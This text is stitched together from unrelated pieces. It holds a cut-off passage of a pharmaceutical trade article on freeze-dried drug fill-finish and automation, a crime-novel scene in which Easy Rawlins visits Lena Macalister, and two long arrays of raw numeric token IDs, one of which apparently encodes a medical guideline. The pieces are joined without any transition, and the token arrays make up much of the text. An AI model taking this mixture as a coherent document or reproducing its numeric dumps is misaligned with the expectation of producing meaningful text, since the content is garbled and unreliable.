complex biological compounds, having begun freeze-drying such products in 1981. The company has recently introduced dual-chamber technology through its Lyo-Ject syringe and V-LK cartridge dual-chamber systems. Lyophilized drug resides in one chamber; diluent in the other. Pushing the syringe plunger mixes those with one stroke. A drug that is currently packaged in vials may be transferred to such a system, for example to make it more user-friendly as part of a lifecycle management plan. this may pose a solution for some innovator products facing biosimilar competition. “Despite some changes to end products delivered to consumers, the actual filling process remains relatively unchanged,” Miller added. “The few adaptations that have been needed to run novel solutions have been accommodated relatively easily. Processing dual-chamber cartridges is one example. This type of device contains two separate products in one cartridge, such as two separate liquids or a liquid and a lyophilized product.” We asked Hawkins whether he thinks robotics and other automation will replace human operators. What functions will remain in human hands for the time being, and what training issues have arisen to meet those needs? “Automation is welcome,” he replied. “Ideally, qualified and trained operators should control as well as monitor automated equipment operations — as well as feed and remove components from the line/equipment. Automated equipment will require a higher level of understanding and comfort level with an interface than mechanical, hands-on adjustments.” To the same question, Mastenbaum commented, “Automation has had a major effect in reducing the number of human operators over the past 30 years. A fill–finish line feeding a lyophilizer may have had eight to 10 human operators 30 years ago. Newer equipment that takes advantage of modern advances in technology may use only two or three human operators. Some specialty lines use only one human operator. However, as good as modern automation is, there will continue to be the need for human intervention with respect to problem resolution and maintenance of the equipment.” We also asked what new issues are arising as, for example, robotics are used to “visually” inspect final products. Hawkins responded: “No question that automated inspection provides a more robust and consistent inspection for all drug product defect criteria. I would expect that as container shapes and materials evolve from traditional glass, handling mechanisms
[ 1537, 320, 247, 289, 1575, 28909, 533, 752, 434, 247, 1643, 7362, 32358, 598, 1735, 281, 2471, 865, 187, 187, 42, 574, 281, 9012, 15, 41583, 4266, 949, 17218, 893, 434, 2927, 3534, 479, 3524, 562, 627, 275, 253, 2991, 15, 309, 5476, 309, 369, 13476, 2429, 281, 512, 1110, 309, 1871, 1929, 665, 1871, 4962, 273, 2728, 13, 5654, 11860, 19952, 13, 50117, 7695, 13, 285, 7665, 33254, 15, 8948, 309, 858, 452, 247, 13476, 4177, 15, 18025, 1128, 2858, 13476, 1335, 285, 512, 15, 187, 187, 3, 2347, 434, 326, 5006, 7993, 865, 309, 2546, 15, 187, 187, 23852, 11537, 531, 369, 247, 3168, 637, 5207, 309, 1871, 9809, 432, 253, 48869, 37, 672, 597, 3058, 281, 9176, 247, 7701, 327, 11853, 521, 3295, 15, 3032, 760, 6617, 369, 326, 344, 7636, 247, 2806, 3416, 15, 2064, 2389, 574, 5339, 617, 15, 1244, 672, 352, 369, 512, 689, 7993, 574, 247, 19501, 285, 17218, 893, 2335, 779, 275, 15, 187, 187, 3, 1328, 701, 15559, 937, 703, 753, 13, 253, 10711, 273, 247, 23805, 1335, 327, 617, 11233, 15, 346, 42, 1694, 779, 14121, 249, 8, 562, 327, 253, 896, 28392, 15, 754, 513, 253, 6738, 377, 249, 8, 271, 8, 667, 8909, 7375, 309, 1537, 878, 449, 187, 187, 3, 1145, 8, 27319, 2506, 626, 2564, 865, 187, 187, 3, 47, 1403, 15, 380, 806, 1388, 309, 3982, 779, 1728, 344, 1925, 29936, 2305, 15, 13651, 15, 1422, 871, 10734, 1900, 644, 247, 402, 13692, 323, 247, 3168, 5006, 342, 34323, 449, 187, 187, 1231, 1097, 12918, 15, 187, 187, 24858, 893, 4925, 715, 617, 29725, 285, 7320, 562, 253, 48910, 254, 326, 574, 644, 762, 253, 7319, 273, 619, 12673, 15, 1500, 1691, 352, 327, 253, 8597, 15, 187, 187, 3, 18204, 80, 1694, 634, 1113, 562, 253, 21059, 15, 754, 1669, 521, 29880, 14427, 24805, 562, 896, 449, 1500, 3982, 562, 247, 9711, 2234, 285, 4845, 352, 1735, 281, 253, 25288, 15, 346, 1328, 753, 326, 344, 1833, 452, 634, 12673, 4704, 275, 767, 3618, 449, 187, 187, 42, 574, 3858, 275, 253, 1533, 15, 1198, 247, 2774, 627, 309, 574, 625, 685, 271, 12296, 1981, 326, 1841, 651, 1614, 562, 8261, 15, 187, 187, 24858, 893, 6225, 598, 15, 187, 187, 3, 4013, 10902, 937, 703, 753, 15, 346, 4943, 449, 187, 187, 2993, 4925, 715, 617, 29725, 285, 2210, 562, 342, 247, 4533, 273, 6818, 14, 35523, 14874, 15, 187, 187, 3, 23262, 9456, 2183, 479, 281, 1918, 368, 436, 449, 187, 187, 42, 2335, 253, 2583, 1014, 2167, 309, 3260, 344, 1871, 923, 352, 347, 247, 1066, 7830, 327, 253, 344, 382, 344, 3078, 479, 281, 6604, 779, 275, 15, 187, 187, 9707, 686, 3208, 367, 1139, 15293, 1934, 4653, 44293, 1669, 323, 479, 369, 12649, 66, 14, 30842, 342, 2502, 26126, 16264, 1066, 253, 15828, 434, 1930, 285, 2439, 253, 21613, 15, 733, 3589, 626, 253, 2238, 273, 1113, 309, 812, 12195, 342, 533, 387, 1878, 352, 574, 17727, 15, 187, 187, 52, 2835, 24922, 275, 253, 15828, 434, 7319, 369, 253, 28263, 6421, 8800, 309, 1871, 8686, 275, 5003, 10765, 15, 733, 574, 644, 14454, 275, 776, 16949, 281, 253, 13952, 15, 14140, 80, 1364, 452, 1119, 352, 2112, 342, 253, 25288, 15, 187, 187, 3039, 309, 1694, 1728, 627, 369, 247, 3877, 432, 378, 10614, 327, 253, 8576, 2829, 15, 1500, 285, 7670, 497, 1469, 281, 17684, 1758, 8451, 323, 767, 1897, 15, 1583, 497, 1469, 281, 2986, 327, 253, 11600, 533, 627, 369, 247, 1180, 323, 253, 37050, 526, 2237, 273, 253, 17463, 835, 597, 497, 14596, 15, 309, 812, 1067, 779, 604, 627, 369, 271, 8945, 15, 187, 187, 42, 921, 2122, 285, 439, 9367, 13, 439, 967, 619, 12682, 13, 285, 1160, 247, 3199, 273, 36369, 11624, 285, 49441, 285, 276, 4002, 618, 316, 1131, 15, 2732, 9123, 285, 247, 1175, 28990, 12188, 309, 3543, 4704, 281, 1611, 281, 1089, 667, 11693, 326, 330, 27992, 330, 1662, 408, 1537, 452, 1669, 15, 309, 14186, 275, 2806, 1499, 7305, 285, 247, 759, 607, 14, 30842, 43326, 14133, 285, 2206, 1066, 281, 253, 4481, 15, 187, 187, 3, 1922, 2293, 48, 865, 1500, 9577, 253, 4481, 846, 1264, 14445, 15, 187, 187, 3, 2422, 6156, 865, 309, 753, 15, 187, 187, 3, 4013, 449, 1707, 369, 247, 4864, 19309, 15, 187, 187, 42, 3260, 752, 617, 39500, 5486, 15, 309, 574, 9809, 617, 3347, 432, 1146, 5339, 275, 247, 3513, 6861, 2345, 247, 1643, 1107, 1078, 15, 2058, 326, 673, 703, 574, 644, 7028, 281, 2516, 13, 581, 273, 619, 17172, 285, 8642, 3858, 15, 187, 187, 688, 1340, 281, 5321, 378, 2040, 314, 309, 1871, 574, 281, 5310, 779, 275, 253, 1791, 15, 380, 11576, 753, 326, 344, 1871, 452, 326, 46169, 323, 253, 1551, 273, 521, 1495, 15, 187, 187, 3, 12092, 13, 2305, 15, 19263, 77, 968, 449, 309, 1871, 1677, 598, 2970, 617, 281, 1067, 479, 28127, 15, 187, 187, 3, 42, 878, 281, 3984, 281, 418, 6736, 5602, 267, 2131, 15, 1500, 434, 247, 3331, 273, 13298, 3548, 626, 703, 865, 187, 187, 7673, 10837, 327, 253, 1386, 15, 1244, 840, 27, 346, 42, 1053, 626, 3798, 1918, 562, 619, 3858, 8, 3904, 1293, 616, 9214, 13, 2305, 15, 19263, 77, 968, 449, 187, 187, 3, 42, 878, 617, 2953, 13, 1219, 6156, 15, 831, 310, 4092, 449, 187, 187, 1231, 1097, 3260, 326, 703, 4571, 626, 16410, 479, 15, 4058, 5006, 574, 16139, 281, 46671, 275, 253, 5101, 984, 273, 479, 15, 187, 187, 2993, 7492, 1314, 285, 419, 7184, 247, 1643, 2909, 625, 533, 840, 2210, 2439, 342, 253, 2953, 15, 187, 187, 3, 8061, 937, 309, 753, 672, 703, 4720, 774, 8006, 15, 346, 27128, 14260, 281, 378, 2040, 314, 323, 479, 449, 187, 187, 2993, 10416, 598, 253, 4481, 275, 619, 2472, 15, 187, 187, 42, 369, 1469, 2584, 619, 5791, 418, 15, 34, 15, 3511, 12591, 672, 253, 1735, 14, 11806, 6346, 13, 23662, 928, 26386, 2205, 13, 46156, 479, 15, 187, 187, 3, 7710, 15, 19263, 77, 968, 449, 187, 187, 1328, 369, 247, 2159, 3168, 637, 342, 247, 1721, 8382, 314, 285, 642, 6616, 24612, 15, 3032, 37559, 4707, 574, 4934, 697, 3295, 533, 369, 6906, 920, 816, 253, 1072, 15, 23662, 928, 369, 253, 13372, 7205, 273, 253, 6022, 273, 5226, 983, 275, 12126, 34781, 15, 733, 369, 247, 1355, 1899, 387, 247, 19734, 11047, 4832, 8848, 533, 26386, 2205, 3047, 2994, 347, 247, 27405, 273, 15065, 15, 754, 369, 247, 12773, 285, 275, 521, 1236, 2510, 339, 344, 4127, 479, 347, 271, 4503, 15, 309, 1353, 2119, 344, 1308, 37522, 281, 521, 4475, 285, 2151, 670, 849, 9386, 344, 369, 281, 1908, 247, 44118, 2081, 2190, 521, 3858, 15, 187, 187, 3, 4553, 8396, 13, 23662, 928, 937, 309, 753, 15, 187, 187, 3, 2512, 369, 247, 5599, 1060, 7004, 323, 368, 247, 1643, 3038, 3622, 15, 754, 369, 24851, 2819, 449, 187, 187, 3, 15383, 5599, 865, 187, 187, 3, 2302, 15, 5219, 15, 754, 14782, 247, 18553, 1160, 562, 273, 37094, 5914, 309, 1158, 15, 1244, 521, 2927, 964, 964, 964, 309, 1053, 626, 871, 15, 1583, 3261, 1599, 449, 187, 187, 3, 1276, 858, 344, 1333, 865, 187, 187, 3, 6300, 604, 309, 3260, 672, 368, 497, 3551, 896, 15, 309, 2546, 779, 604, 344, 574, 247, 3935, 15, 754, 1904, 626, 1014, 3662, 15, 3771, 7428, 745, 751, 309, 3589, 626, 1014, 627, 449, 187, 187, 49, 335, 2205, 369, 9202, 273, 247, 1113, 896, 71, 4261, 15, 754, 2378, 2183, 479, 326, 344, 4571, 626, 3698, 10439, 84, 984, 253, 7217, 3534, 779, 2360, 44672, 15, 8452, 972, 16060, 779, 1537, 452, 644, 271, 6503, 5570, 390, 247, 3369, 14, 936, 14, 11806, 6224, 1342, 15, 187, 187, 42, 369, 2668, 407, 521, 3000, 13, 2167, 13, 795, 9817, 309, 3589, 626, 1014, 627, 3333, 26386, 2205, 369, 247, 747, 6346, 15, 754, 1871, 760, 644, 275, 326, 2419, 323, 247, 807, 390, 594, 15, 309, 1871, 644, 627, 625, 685, 2800, 1107, 1128, 12569, 1070, 407, 418, 15, 34, 15, 7465, 15, 1292, 309, 369, 1335, 247, 7163, 324, 984, 11648, 1475, 479, 369, 1900, 4886, 275, 390, 4886, 562, 15, 4952, 604, 309, 11791, 275, 253, 1072, 1659, 619, 9168, 369, 1900, 6890, 15, 187, 187, 3, 8061, 937, 309, 753, 15, 346, 42, 1833, 1007, 562, 323, 779, 449, 187, 187, 1231, 11898, 3564, 285, 309, 12668, 745, 13, 4680, 326, 2717, 275, 253, 6420, 1373, 2455, 11791, 253, 1072, 15, 187, 187, 3220, 806, 12095, 369, 253, 28481, 1106, 1066, 327, 367, 4173, 15, 309, 1694, 3216, 3790, 13, 23914, 448, 2695, 13, 34376, 434, 6728, 13, 1795, 43363, 13, 7318, 49438, 12973, 13, 247, 1481, 273, 43170, 13, 767, 20321, 273, 8463, 13, 285, 22855, 264, 24806, 275, 34208, 15, 2635, 309, 6331, 387, 253, 26375, 4657, 285, 8686, 247, 10720, 273, 2516, 10633, 16156, 5418, 15, 187, 187, 4553, 12701, 309, 12668, 896, 1066, 281, 3684, 418, 15, 34, 15, 187, 187, 45, 6736, 5602, 267, 2131, 6940, 275, 247, 16076, 14863, 3578, 1003, 2419, 1264, 8336, 745, 11826, 2211, 15, 309, 21863, 253, 16303, 285, 19336, 327, 617, 3369, 15, 187, 187, 3, 7883, 310, 352, 865, 247, 7353, 4318, 298, 2575, 342, 14296, 2546, 15, 187, 187, 3, 36342, 19263, 77, 968, 13, 418, 6736, 449, 187, 187, 34, 5931, 31494, 1070, 13, 1264, 24811, 24145, 896, 15, 380, 3369, 2210, 1527, 285, 253, 3862, 14, 28619, 7453, 19435, 11373, 617, 10112, 347, 309, 574, 2326, 617, 513, 1142, 2069, 387, 253, 6112, 12447, 15, 187, 187, 3, 8380, 275, 15, 13516, 275, 449, 187, 187, 2993, 369, 25661, 327, 247, 18976, 274, 1070, 37747, 285, 617, 17543, 574, 22881, 342, 767, 1027, 9544, 265, 15, 1292, 627, 369, 1335, 1633, 1098, 600, 670, 617, 3361, 15, 187, 187, 510, 2419, 36280, 273, 35347, 15, 187, 187, 3, 35678, 15, 27817, 449, 187, 187, 510, 23656, 369, 4797, 285, 2502, 342, 247, 41599, 3102, 39239, 275, 15, 380, 17076, 20651, 275, 247, 1805, 9168, 285, 247, 4067, 2316, 15, 1623, 253, 3402, 10416, 4166, 20858, 273, 617, 4255, 5396, 4651, 13, 617, 24332, 16091, 5938, 13, 285, 617, 3347, 13, 671, 3846, 15, 380, 1698, 8574, 2829, 369, 973, 4166, 264, 285, 3253, 369, 277, 34455, 275, 23993, 432, 253, 3497, 15, 187, 187, 3039, 309, 873, 253, 45160, 447, 1066, 327, 253, 2829, 309, 8156, 326, 309, 1871, 14454, 253, 660, 302, 348, 275, 253, 896, 36443, 273, 619, 1113, 15, 187, 187, 3, 1276, 434, 436, 865, 703, 2546, 13, 13458, 387, 253, 7351, 15, 187, 187, 3, 7093, 1416, 2210, 598, 4102, 285, 309, 8156, 326, 309, 574, 281, 1642, 368, 247, 4564, 8, 66, 3533, 15, 1893, 309, 1869, 13, 347, 1048, 347, 309, 369, 389, 249, 1383, 368, 1537, 878, 690, 1841, 449, 187, 187, 3, 34, 445, 626, 368, 7353, 449, 187, 187, 2993, 17245, 598, 281, 253, 30040, 6951, 13, 1160, 2119, 273, 835, 703, 369, 6306, 13, 285, 1339, 5972, 2965, 15, 187, 187, 3, 1466, 434, 1691, 731, 1977, 1996, 937, 703, 753, 342, 247, 3676, 25790, 15, 346, 1394, 871, 352, 3936, 247, 2257, 562, 893, 479, 841, 1897, 816, 281, 3662, 253, 3369, 449, 187, 187, 3, 1394, 8334, 865, 187, 187, 3, 2042, 368, 1067, 2970, 1711, 8334, 13, 840, 309, 2119, 717, 326, 449, 1500, 11373, 8791, 285, 309, 1339, 253, 2256, 5926, 15, 187, 187, 3, 2347, 1048, 556, 352, 644, 1580, 368, 4581, 253, 12447, 865, 187, 187, 3, 33770, 1107, 937, 703, 753, 13, 18727, 15, 346, 15745, 497, 690, 1897, 15, 15634, 797, 285, 378, 5047, 251, 497, 1097, 9338, 285, 2444, 275, 253, 8576, 15, 844, 574, 1046, 1774, 2806, 1436, 275, 253, 2586, 13, 275, 253, 1533, 13, 3551, 281, 441, 323, 8955, 449, 187, 187, 2993, 7560, 347, 604, 309, 497, 247, 12726, 390, 247, 1794, 25895, 3551, 281, 755, 1066, 617, 1495, 2926, 15, 187, 187, 3, 6506, 937, 309, 753, 15, 346, 2773, 369, 1260, 678, 249, 8, 2010, 449, 187, 187, 45, 6736, 11373, 285, 21374, 15, 346, 510, 6203, 760, 14935, 368, 452, 6345, 323, 247, 2159, 673, 15, 1422, 1694, 281, 1379, 352, 275, 1223 ]	might be a thorn bush but what's a few scratches up next to death?" I had to laugh. Seeing myself through Etta's eyes gave me hope out there in the void. I guess I was lucky compared to all those I'd known who'd died of disease, gunshot wounds, lynching, and alcohol poisoning. Maybe I did have a lucky star. Dim—but lucky still and all. "How's that boy Peter?" I asked. Peter Rhone was a white man whom I'd saved from the LAPD when they needed to pin a murder on somebody his color. His only crime was that he loved a black woman. That love had killed her. And when it was all over Peter had a breakdown and Etta took him in. "He bettah," she said, the trace of a grin still on her lips. "I got him livin' out on the back porch. He do the shoppin' an' any odd jobs I might need." "An' Mouse doesn't mind?" "Naw. The first day I brought him home he called Raymond Mr. Alexander. You know Ray always been a sucker for a white boy with manners." We both laughed. Etta reached into her purse and pulled out the Luger that had been under the seat of my Ford. She put it on the desk. "Primo got your car out the pound. He left his Pontiac parked out back." She brought out a silver key and placed it next to the pistol. "He said that he'll have your Ford ready in two weeks." I had friends in the world. For a moment there I had more than an inkling that things would turn out okay. Etta stood up. "Oh yeah," she said. "Here." She reached into her purse and came out with a roll of twenty-dollar bills. "Raymond told me to give you this." I took the money even though I knew he'd see it as a down payment on the heist he wanted me to join him in. THE '56 PONTIAC PRIMO left for me was aqua-colored with red flames painted down the passenger's side and across the hood. It wasn't the kind of car I could shadow with but at least it had wheels. Sitting upright in the passenger's seat was the teddy bear I'd bought in San Francisco. It had been forgotten in our rush to the airport. Primo must have found it along with the pistol. When I got home there was a note from Benny on the kitchen table. She and Jesus were going to Catalina Island for two days. They were going to camp on the beach but there was a number for the harbormaster of the dock where they were staying. I could call him if there was an emergency. I showered and shaved, shined my shoes, and made a pan of scrambled eggs and diced andouille sausages. After eating and a good scrubbing I felt ready to try to find any trail that Cinnamon Cargill might have left. I dressed in black slacks and a peach-colored Hawaiian shirt and sat down to the phone. "HELLO?" She answered the phone after three rings. "Alva?" I said. "Oh." There was a brief pause. I knew what her hesitation meant. I had saved her son from being killed in a police ambush a few years before. At that time she had been married to John, one of my oldest and closest friends. In order to save Brawly I'd had to shoot him in the leg. The doctors said that he'd have that limp for the rest of his life. "Hello, Mr. Rawlins." I'd given up getting her to call me Easy. "I need to speak to Lena Macalister. She's a friend of yours isn't she?" More silence on the line. And then: "I don't usually give out my friends' numbers without their permission, Mr. Rawlins." "I need her address, Alva. This is serious." We both knew that she couldn't refuse me. Her boy had survived to shuffle in the sun because of me. She hemmed and hawed a few minutes more but then came across with the address. "Thanks," I said when she finally relented. "Say hi to Brawly for me." She hung up the phone in my ear. I was going toward my East L.A. hot rod when the next-door neighbor, Nathaniel Pulley, hailed me. "Mr. Rawlins." He was a short white man with a potbelly and no muscle whatsoever. His blond hair had kept its color but was thinning just the same. Nathaniel was the assistant manager of the Bank of Palms in Santa Monica. It was a small position at a minuscule financial institution but Pulley saw himself as a lion of finance. He was a liberal and in his largesse he treated me as an equal. I'm sure he bragged to his wife and children about how wonderful he was to consider a janitor among his friends. "Afternoon, Nathaniel," I said. "There was a guy here asking for you a few hours ago. He was scary looking." "Black guy?" "No. White. He wore a jacket made out of snakeskin I think. And his eyes... I don't know. They looked mean." "What did he say?" "Just if I knew when you were coming back. I asked him if he had a message. He didn't even answer. Just walked off like I wasn't even there." Pulley was afraid of a car backfiring. He once told me that he couldn't watch westerns because the violence gave him nightmares. Whoever scared him might have been an insurance agent or a door-to-door salesman. I was taken by his words, though, _Like I wasn't even there._ Pulley was a new neighbor. He'd only been in that house for a year or so. I'd been there more than six years—settled by L.A. standards. But I was still a nomad because everybody around me was always moving in or moving out. Even if I stayed in the same place my neighborhood was always changing. "Thanks," I said. "I'll look out for him." We shook hands and I drove off, thinking that nothing in the southland ever stayed the same. My first destination was the Safeway down on Pico. I got ground round, pork chops, calf's liver, broccoli, cauliflower, a head of lettuce, two bottles of milk, and stewed tomatoes in cans. Then I stopped at the liquor store and bought a fifth of Johnnie Walker Black. After shopping I drove back down to South L.A. Lena Macalister lived in a dirty pink tenement house three blocks off Hooper. I climbed the stairs and knocked on her door. "Who is it?" a sweet voice laced with Houston asked. "Easy Rawlins, Lena." A chain rattled, three locks snapped back. The door came open and the broad-faced restaurateur smiled her welcome as I had seen her do many times at the Texas Rose. "Come in. Come in." She was leaning on a gnarled cane and her glasses had lenses with two different thicknesses. But there was still something stately about her presence. The house smelled of vitamins. "Sit. Sit." The carpet was blue and red with a floral pattern woven in. The furniture belonged in a better neighborhood and a larger room. On the wall hung oil paintings of her West Indian parents, her deceased Tennessee husband, and her son, also dead. The low coffee table was well oiled and everything was drenched in sunlight from the window. When I set the groceries down on the table I realized that I'd forgotten the scotch in the backseat of my car. "What's this?" she asked, pointing at the bag. "Your name came up recently and I realized that I had to ask you a couple'a questions. So I thought, as long as I was comin', you might need some things." "Aren't you sweet." She backed up to the stuffed chair, made sure of where she was standing, and let herself fall. "Let's put them away later," she said with a deep sigh. "You know it takes a lot outta me these days just to answer the door." "You sick?" "If you call getting old sick, then I sure am that." She smiled anyway and I let the subject drop. "How long has it been since you closed the Rose?" "Eight years," she said, smiling. "Those were some days. Hubert and Brendon were both alive and working in the kitchen. We had every important black person in the country, in the world, coming to us for dinner." She spoke as if I were a reporter or a biographer coming to get down her life story. "Yeah," I said. "That was somethin' else." Lena smiled and sighed. "The Lord only lets you have breath for a short time. You got to take it in while
[ 642, 13969, 5001, 253, 11795, 273, 5869, 6334, 1311, 1731, 62, 187, 187, 52, 19785, 7259, 1712, 4538, 740, 94, 187, 23796, 187, 187, 4118, 330, 50, 22, 15, 1737, 310, 253, 8654, 9205, 5199, 323, 9813, 18404, 21467, 32, 1712, 4538, 883, 94, 187, 187, 11, 47, 886, 287, 7338, 4182, 310, 8521, 347, 253, 8654, 9205, 5199, 323, 9813, 18404, 21467, 11, 313, 1785, 27167, 318, 329, 10, 187, 187, 52, 19785, 7259, 7091, 281, 1555, 5460, 7928, 15947, 5895, 275, 253, 2469, 2908, 42976, 285, 26111, 273, 253, 18404, 3722, 285, 6508, 18404, 19187, 15, 49855, 486, 273, 253, 18404, 3722, 369, 7561, 908, 275, 4047, 347, 247, 2629, 9205, 5199, 275, 253, 9178, 84, 949, 253, 2393, 7901, 84, 15, 1723, 13, 352, 310, 642, 3356, 908, 984, 13493, 4918, 275, 271, 17193, 1557, 3943, 556, 2489, 253, 8624, 5199, 323, 14419, 5460, 7928, 15947, 5895, 285, 253, 16424, 275, 6979, 33433, 452, 2530, 8103, 1941, 326, 253, 15136, 29800, 4408, 2550, 320, 5176, 407, 247, 2969, 26111, 5199, 15, 187, 187, 2374, 253, 643, 1133, 13, 253, 6508, 18404, 19187, 326, 369, 253, 2201, 5199, 908, 7194, 275, 5284, 4343, 432, 253, 10333, 84, 949, 253, 9178, 84, 556, 644, 9592, 16371, 275, 1859, 273, 253, 1029, 9364, 273, 16002, 10552, 13, 253, 4433, 281, 3157, 253, 4583, 1495, 14, 40133, 2281, 313, 13019, 337, 67, 283, 20, 67, 582, 683, 1311, 1630, 2947, 1311, 1619, 62, 285, 253, 17892, 3290, 273, 1495, 275, 21548, 1363, 984, 273, 253, 2440, 273, 10969, 8383, 13761, 6334, 1311, 1630, 62, 187, 187, 47, 886, 287, 7338, 4182, 13, 390, 372, 7807, 1003, 273, 15136, 29800, 4408, 13, 1690, 15136, 29800, 18404, 4408, 285, 591, 532, 1377, 675, 280, 4688, 21467, 13, 310, 4390, 908, 347, 253, 2234, 5199, 323, 15136, 8601, 3006, 15947, 5895, 13, 285, 642, 643, 9205, 5199, 11330, 247, 1805, 6454, 313, 13019, 374, 68, 481, 683, 1311, 1797, 2947, 1311, 1717, 62, 187, 187, 37, 1949, 486, 7259, 846, 15136, 287, 7338, 4182, 1712, 4538, 805, 94, 187, 35349, 187, 187, 4118, 330, 50, 23, 15, 1737, 310, 253, 8654, 26111, 5199, 846, 15136, 287, 7338, 4182, 32, 1712, 4538, 1012, 94, 187, 187, 11, 21595, 26111, 11, 313, 1785, 27167, 318, 399, 10, 475, 11425, 320, 16371, 347, 253, 26111, 5199, 846, 15136, 287, 7338, 4182, 13, 285, 2057, 5415, 4581, 298, 16476, 390, 1527, 26111, 313, 44752, 15136, 287, 7338, 4182, 2888, 313, 1785, 27167, 318, 378, 10, 475, 11425, 320, 2684, 3185, 15, 380, 4327, 875, 841, 767, 7259, 476, 320, 1160, 387, 253, 673, 1754, 327, 253, 9205, 4342, 285, 16, 263, 20997, 434, 2793, 11, 187, 187, 47, 886, 287, 7338, 4182, 323, 15136, 8601, 3006, 15947, 5895, 310, 4158, 281, 5386, 347, 1199, 15136, 29800, 18404, 4408, 347, 1896, 15, 1723, 13, 984, 3426, 372, 7807, 1003, 310, 2834, 347, 247, 906, 273, 30415, 285, 984, 253, 6454, 7024, 327, 849, 16575, 253, 5780, 15136, 29800, 4408, 310, 5176, 22372, 1311, 1717, 62, 253, 2969, 313, 585, 26743, 10, 26111, 2684, 275, 253, 2469, 943, 320, 16371, 15, 187, 187, 510, 26111, 7259, 908, 281, 5386, 253, 15136, 29800, 37057, 846, 15136, 287, 7338, 4182, 476, 320, 7194, 10509, 347, 313, 18, 10, 6041, 26111, 13, 313, 19, 10, 5415, 4581, 298, 16476, 13, 285, 313, 20, 10, 1527, 26111, 15, 44347, 26111, 310, 2969, 26111, 949, 271, 801, 88, 3485, 26111, 9402, 15, 48094, 4581, 298, 16476, 8414, 273, 5415, 1980, 33501, 342, 721, 283, 25, 298, 16, 1201, 13424, 18704, 949, 271, 801, 88, 3485, 4021, 14, 77, 30090, 9402, 285, 310, 4821, 1919, 642, 10143, 273, 15136, 29800, 4408, 310, 2540, 6334, 1311, 1797, 62, 7489, 26111, 310, 1480, 26111, 949, 253, 1527, 10785, 275, 253, 17322, 3402, 6786, 407, 22485, 253, 13767, 36881, 2317, 285, 16277, 7044, 342, 305, 1952, 2721, 846, 15136, 287, 7338, 4182, 13, 285, 253, 1072, 5199, 310, 6015, 347, 11526, 313, 15160, 374, 283, 20, 1897, 10, 1919, 15136, 29800, 4408, 310, 642, 3356, 2540, 6334, 1311, 1717, 62, 187, 187, 14146, 273, 253, 20407, 11361, 273, 2710, 26111, 7259, 556, 4821, 323, 625, 685, 1384, 1107, 13, 285, 767, 10123, 1754, 327, 12082, 6239, 17891, 452, 644, 3863, 15, 380, 806, 2278, 313, 13019, 374, 66, 582, 683, 1311, 1229, 62, 3863, 275, 10226, 13, 5867, 4623, 7774, 3863, 1309, 253, 9178, 84, 285, 4950, 326, 253, 7891, 2281, 273, 1363, 342, 9813, 18404, 21467, 4127, 407, 6041, 26111, 13, 5415, 4581, 298, 16476, 13, 285, 1527, 26111, 369, 5976, 5294, 1283, 5294, 285, 3127, 5294, 2975, 13, 285, 326, 253, 6454, 273, 253, 6041, 26111, 1387, 369, 3012, 30560, 2796, 49, 11, 4398, 470, 15, 1762, 481, 380, 643, 2278, 313, 13019, 374, 66, 582, 683, 1311, 2405, 62, 534, 5867, 7774, 3863, 275, 253, 7901, 84, 13, 4950, 326, 253, 7891, 2281, 273, 253, 1363, 342, 9813, 18404, 21467, 4127, 970, 253, 1840, 3082, 369, 3495, 15, 20, 5294, 884, 15, 22, 5294, 285, 3349, 15, 20, 5294, 2975, 15, 2091, 253, 1783, 369, 3710, 281, 7774, 10620, 342, 5460, 2219, 905, 266, 3388, 4097, 1934, 1922, 3719, 313, 2088, 14, 2267, 10, 4868, 273, 1722, 390, 625, 5290, 253, 7891, 2281, 369, 5329, 15, 25, 5294, 721, 15, 20, 5294, 285, 3495, 15, 22, 5294, 2975, 313, 3235, 544, 18, 1084, 10297, 18, 910, 709, 14, 881, 568, 2420, 2536, 6295, 10123, 921, 326, 1363, 4127, 407, 5415, 4581, 298, 16476, 574, 253, 1682, 6454, 15, 5270, 337, 7761, 1420, 2278, 273, 253, 6973, 273, 1264, 2201, 26111, 7259, 846, 15136, 287, 7338, 4182, 323, 9813, 18404, 21467, 683, 1311, 2405, 62, 47, 886, 287, 7338, 4182, 342, 6041, 26111, 47, 886, 287, 7338, 4182, 342, 5415, 4581, 298, 16476, 47, 886, 287, 7338, 4182, 342, 1527, 26111, 12905, 11, 79, 11, 2088, 14, 42, 1838, 70, 48193, 12905, 11, 79, 11, 2088, 14, 42, 1838, 70, 48193, 12905, 11, 79, 11, 2088, 14, 42, 1838, 70, 48193, 39, 1808, 24673, 14, 7555, 9893, 16078, 1162, 355, 15, 63, 938, 63, 1812, 740, 15, 3571, 313, 25, 15, 20, 2673, 39, 782, 284, 1162, 355, 15, 63, 1706, 63, 17364, 1093, 15, 3046, 313, 23, 15, 20, 2673, 44, 363, 88, 1351, 76, 1162, 355, 15, 63, 1787, 63, 3571, 883, 1036, 313, 1099, 15, 21, 2673, 35, 4011, 360, 1162, 355, 15, 63, 1671, 63, 2945, 14, 20, 313, 24, 15, 17, 2673, 34972, 2205, 63, 1839, 63, 2950, 1047, 15, 2526, 313, 1012, 15, 17, 2673, 46593, 1162, 355, 15, 63, 1237, 63, 26, 1093, 2031, 313, 2031, 15, 21, 2673, 1779, 5353, 73, 552, 1162, 355, 15, 63, 1812, 63, 3245, 14, 1036, 313, 746, 15, 20, 2673, 27573, 443, 1887, 1162, 355, 15, 63, 1867, 63, 6903, 4590, 313, 1229, 15, 17, 2673, 47074, 965, 42136, 1162, 355, 15, 63, 1610, 63, 1010, 17306, 313, 2950, 15, 24, 2673, 36569, 335, 447, 285, 329, 5914, 63, 3156, 63, 740, 14, 20, 313, 1229, 15, 17, 2673, 46593, 1162, 355, 15, 63, 1237, 63, 883, 20700, 313, 1093, 15, 19, 2673, 47074, 965, 42136, 1162, 355, 15, 63, 1610, 63, 1012, 21151, 313, 1508, 15, 18, 2673, 3980, 23612, 1162, 355, 15, 63, 3156, 63, 1010, 14, 20, 313, 938, 15, 17, 2673, 39, 814, 1063, 1162, 355, 15, 63, 2945, 63, 2597, 14, 1706, 313, 1867, 15, 18, 2673, 12857, 249, 63, 3079, 63, 49416, 2417, 313, 2417, 15, 23, 2673, 998, 386, 257, 285, 401, 5292, 63, 2031, 63, 805, 14, 20, 313, 1099, 15, 17, 2673, 12481, 23, 11494, 313, 1508, 15, 20, 2673, 12481, 23546, 1619, 313, 740, 15, 22, 2673, 12481, 1630, 25025, 313, 1619, 15, 20, 2673, 187, 187, 6436, 13, 984, 273, 9559, 43430, 875, 253, 1543, 273, 767, 9380, 683, 1311, 1706, 2947, 1311, 1857, 62, 327, 5415, 4581, 298, 16476, 13, 1097, 273, 534, 497, 2908, 275, 253, 6158, 12082, 2278, 285, 497, 